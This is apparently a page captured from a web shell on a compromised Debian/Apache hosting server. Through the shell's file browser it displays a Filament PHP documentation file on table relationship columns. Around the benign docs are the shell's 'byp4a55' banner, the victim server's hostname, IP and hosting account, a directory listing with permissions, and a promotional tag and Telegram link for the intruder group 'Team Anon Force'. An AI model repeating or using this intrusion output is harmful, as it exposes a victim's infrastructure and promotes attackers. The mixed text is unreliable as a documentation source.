byp4a55 professor6T9

Linux server800.serverconfig.center 6.1.0-48-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.172-1 (2026-05-15) x86_64
Apache
195.242.103.230

11-relationships.md

---
title: Column relationships
---

## Displaying data from relationships

You may use "dot notation" to access columns within relationships. The name of the relationship comes first, followed by a period, followed by the name of the column to display:

```php
use Filament\Tables\Columns\TextColumn;

TextColumn::make('author.name')
```

## Counting relationships

If you wish to count the number of related records in a column, you may use the `counts()` method:

```php
use Filament\Tables\Columns\TextColumn;

TextColumn::make('users_count')->counts('users')
```

In this example, `users` is the name of the relationship to count from. The name of the column must be `users_count`, as this is the convention that [Laravel uses](https://laravel.com/docs/eloquent-relationships#counting-related-models) for storing the result.

If you'd like to scope the relationship before calculating, you can pass an array to the method, where the key is the relationship name and the value is the function to scope the Eloquent query with:

```php
use Filament\Tables\Columns\TextColumn;
use Illuminate\Database\Eloquent\Builder;

TextColumn::make('users_count')->counts([
    'users' => fn (Builder $query) => $query->where('is_active', true),
])
```

## Determining relationship existence

If you simply wish to indicate whether related records exist in a column, you may use the `exists()` method:

```php
use Filament\Tables\Columns\TextColumn;

TextColumn::make('users_exists')->exists('users')
```

In this example, `users` is the name of the relationship to check for existence. The name of the column must be `users_exists`, as this is the convention that [Laravel uses](https://laravel.com/docs/eloquent-relationships#other-aggregate-functions) for storing the result.

If you'd like to scope the relationship before calculating, you can pass an array to the method, where the key is the relationship name and the value is the function to scope the Eloquent query with:

```php
use Filament\Tables\Columns\TextColumn;
use Illuminate\Database\Eloquent\Builder;

TextColumn::make('users_exists')->exists([
    'users' => fn (Builder $query) => $query->where('is_active', true),
])
```

## Aggregating relationships

Filament provides several methods for aggregating a relationship field, including `avg()`, `max()`, `min()` and `sum()`. For instance, if you wish to show the average of a field on all related records in a column, you may use the `avg()` method:

```php
use Filament\Tables\Columns\TextColumn;

TextColumn::make('users_avg_age')->avg('users', 'age')
```

In this example, `users` is the name of the relationship, while `age` is the field that is being averaged. The name of the column must be `users_avg_age`, as this is the convention that [Laravel uses](https://laravel.com/docs/eloquent-relationships#other-aggregate-functions) for storing the result.

If you'd like to scope the relationship before calculating, you can pass an array to the method, where the key is the relationship name and the value is the function to scope the Eloquent query with:

```php
use Filament\Tables\Columns\TextColumn;
use Illuminate\Database\Eloquent\Builder;

TextColumn::make('users_avg_age')->avg([
    'users' => fn (Builder $query) => $query->where('is_active', true),
], 'age')
```

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	fits-hosting.de_5pri7emmx1j/psacln	0755	2024-11-13 04:35:47
..	dir	-	fits-hosting.de_5pri7emmx1j/psacln	0755	2024-11-13 04:35:47
01-getting-started.md	text/plain	17.99 KB	fits-hosting.de_5pri7emmx1j/psacln	0644	2024-11-13 04:35:47
02-text.md	text/plain	14.45 KB	fits-hosting.de_5pri7emmx1j/psacln	0644	2024-11-13 04:35:47
03-icon.md	text/plain	3.64 KB	fits-hosting.de_5pri7emmx1j/psacln	0644	2024-11-13 04:35:47
04-image.md	text/plain	5.8 KB	fits-hosting.de_5pri7emmx1j/psacln	0644	2024-11-13 04:35:47
05-color.md	text/plain	1.94 KB	fits-hosting.de_5pri7emmx1j/psacln	0644	2024-11-13 04:35:47
06-select.md	text/plain	1.71 KB	fits-hosting.de_5pri7emmx1j/psacln	0644	2024-11-13 04:35:47
07-toggle.md	text/plain	825 B	fits-hosting.de_5pri7emmx1j/psacln	0644	2024-11-13 04:35:47
08-text-input.md	text/plain	1.39 KB	fits-hosting.de_5pri7emmx1j/psacln	0644	2024-11-13 04:35:47
09-checkbox.md	text/plain	836 B	fits-hosting.de_5pri7emmx1j/psacln	0644	2024-11-13 04:35:47
10-custom.md	text/plain	1.86 KB	fits-hosting.de_5pri7emmx1j/psacln	0644	2024-11-13 04:35:47
11-relationships.md	text/plain	3.21 KB	fits-hosting.de_5pri7emmx1j/psacln	0644	2024-11-13 04:35:47
12-advanced.md	text/plain	3.25 KB	fits-hosting.de_5pri7emmx1j/psacln	0644	2024-11-13 04:35:47

Team Anon Force

https://t.me/Professor6T9x